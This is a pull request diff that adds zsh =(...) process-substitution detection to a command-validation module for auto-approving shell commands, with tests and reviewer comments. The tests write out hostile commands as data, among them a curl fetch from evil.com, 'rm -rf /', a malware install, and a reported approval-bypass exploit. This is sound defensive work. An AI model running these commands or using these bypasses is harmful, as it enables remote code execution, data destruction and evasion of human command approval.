Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 51 additions & 0 deletions webview-ui/src/utils/__tests__/command-validation.spec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -272,6 +272,26 @@ ls -la || echo "Failed"`
expect(containsDangerousSubstitution("sort <<< `pwd`")).toBe(true)
})

it("detects zsh process substitution =() pattern", () => {
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)

// Various forms of zsh process substitution
expect(containsDangerousSubstitution("cat =(echo test)")).toBe(true)
expect(containsDangerousSubstitution("diff =(ls) =(pwd)")).toBe(true)
expect(containsDangerousSubstitution("vim =(curl http://evil.com/script)")).toBe(true)
expect(containsDangerousSubstitution("=(whoami)")).toBe(true)

// Process substitution in middle of command
expect(containsDangerousSubstitution("echo test =(date) test")).toBe(true)

// Multiple process substitutions
expect(containsDangerousSubstitution("compare =(cmd1) =(cmd2) =(cmd3)")).toBe(true)

// Process substitution with complex commands
expect(containsDangerousSubstitution("cat =(rm -rf /)")).toBe(true)
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
})

it("does NOT flag safe parameter expansions", () => {
// Regular parameter expansions without dangerous operators
expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
Expand All @@ -294,6 +314,16 @@ ls -la || echo "Failed"`
expect(containsDangerousSubstitution("cat <<<plain_text")).toBe(false)
expect(containsDangerousSubstitution('read <<<"static string"')).toBe(false)
expect(containsDangerousSubstitution("grep <<<$var")).toBe(false) // Plain variable, not command substitution

// Safe uses of = without process substitution
expect(containsDangerousSubstitution("var=value")).toBe(false)
expect(containsDangerousSubstitution("test = test")).toBe(false)
expect(containsDangerousSubstitution("if [ $a = $b ]; then")).toBe(false)
expect(containsDangerousSubstitution("echo test=value")).toBe(false)

// Safe comparison operators
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
})

it("handles complex combinations of dangerous patterns", () => {
Expand All @@ -303,6 +333,9 @@ ls -la || echo "Failed"`
expect(containsDangerousSubstitution('echo "${outer=${inner@P}}"')).toBe(true)
// Mixed with safe patterns
expect(containsDangerousSubstitution("echo ${safe:-default} ${dangerous@P}")).toBe(true)
// Zsh process substitution combined with other patterns
expect(containsDangerousSubstitution("cat =(whoami) && echo ${var@P}")).toBe(true)
expect(containsDangerousSubstitution("ls =(date) <<<$(pwd)")).toBe(true)
})

it("detects the exact exploit from the security report", () => {
Expand All @@ -313,6 +346,9 @@ ls -la || echo "Failed"`
// Variations of the exploit
expect(containsDangerousSubstitution('echo "${x=\\140id\\140}${x@P}"')).toBe(true)
expect(containsDangerousSubstitution('result="${cmd=\\x60pwd\\x60}${cmd@P}"')).toBe(true)

// The new zsh process substitution exploit
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good comprehensive test coverage! Is it intentional that this test case duplicates the one at line 351? If so, perhaps add a comment noting that line 351 specifically tests the reported exploit, while this section tests various forms more generally.

})
})
})
Expand Down Expand Up @@ -914,6 +950,21 @@ describe("Unified Command Decision Functions", () => {
// But if it were a denied command, it would still be denied
expect(getCommandDecision(`npm test ${exploit}`, allowedCommands, deniedCommands)).toBe("auto_deny")
})

it("prevents auto-approval for zsh process substitution exploits", () => {
// The new zsh process substitution exploit
const zshExploit = "ls =(open -a Calculator)"
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
expect(getCommandDecision(zshExploit, ["ls", "echo"], [])).toBe("ask_user")

// Various forms should all be blocked
expect(getCommandDecision("cat =(whoami)", ["cat"], [])).toBe("ask_user")
expect(getCommandDecision("diff =(cmd1) =(cmd2)", ["diff"], [])).toBe("ask_user")
expect(getCommandDecision("echo test =(date)", ["echo"], [])).toBe("ask_user")

// Combined with denied commands
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
})
})

it("returns auto_deny for commands with any sub-command auto-denied", () => {
Expand Down
11 changes: 10 additions & 1 deletion webview-ui/src/utils/command-validation.ts
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,7 @@ type ShellToken = string | { op: string } | { command: string }
* - ${var=value} with escape sequences - Can embed commands via \140 (backtick), \x60, or \u0060
* - ${!var} - Indirect variable references
* - <<<$(...) or <<<`...` - Here-strings with command substitution
* - =(...) - Zsh process substitution that executes commands
*
* @param source - The command string to analyze
* @returns true if dangerous substitution patterns are detected, false otherwise
Expand Down Expand Up @@ -100,9 +101,17 @@ export function containsDangerousSubstitution(source: string): boolean {
// <<<$(...) or <<<`...` can execute commands
const hereStringWithSubstitution = /<<<\s*(\$\(|`)/.test(source)

// Check for zsh process substitution =(...) which executes commands
// =(...) creates a temporary file containing the output of the command, but executes it
const zshProcessSubstitution = /=\([^)]+\)/.test(source)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider handling edge cases in the regex pattern. The current pattern /=\([^)]+\)/ requires at least one character inside the parentheses. While =() with empty parentheses is invalid zsh syntax, you might want to consider if the pattern should also catch this for completeness:

Suggested change
const zshProcessSubstitution = /=\([^)]+\)/.test(source)
const zshProcessSubstitution = /=\([^)]*\)/.test(source)

This would use * instead of + to match zero or more characters.


// Return true if any dangerous pattern is detected
return (
dangerousParameterExpansion || parameterAssignmentWithEscapes || indirectExpansion || hereStringWithSubstitution
dangerousParameterExpansion ||
parameterAssignmentWithEscapes ||
indirectExpansion ||
hereStringWithSubstitution ||
zshProcessSubstitution
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The pattern will match =() anywhere in the string, including potentially in contexts where it might not be process substitution (e.g., within strings or comments). However, this approach is consistent with how other dangerous patterns are detected in this module, appropriately favoring security over precision. Just noting this for awareness.

)
}

Expand Down
Loading